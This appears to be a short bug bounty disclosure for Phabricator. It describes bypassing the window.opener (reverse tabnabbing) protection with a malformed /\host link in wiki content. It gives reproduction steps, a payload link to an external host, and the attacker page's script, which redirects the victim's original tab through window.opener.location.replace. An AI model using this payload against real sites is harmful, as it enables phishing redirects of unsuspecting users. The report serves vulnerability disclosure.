Phabricator · Report #306414
Window.opener protection Bypass
How it was found
SUMMURY
If you create a post/comment with a link like http://x.com in fabricator then server add rel="norefferrer" to anchor tag . So child window dont have access to parent window.
But it can be bypassed with url like /\x.com/index.php and child window can change the location property of parent window.
STEP TO REPRODUCE
-
goto http://domain/w/ and create new document.
-
Now paste this code in content
[[ /\jackluru02.000webhostapp.com/tabnabbing.html | click_me ]]
code of this my url is
<script>
window.opener.location.replace('http://example.com');
</script>
-
now save it and share this document to other user.
-
When user click this click , malicious link opened in new window and parent window location will be changed.
{F255328}
Impact
attacker can perform malicious activity to other user using this attack.
mongoose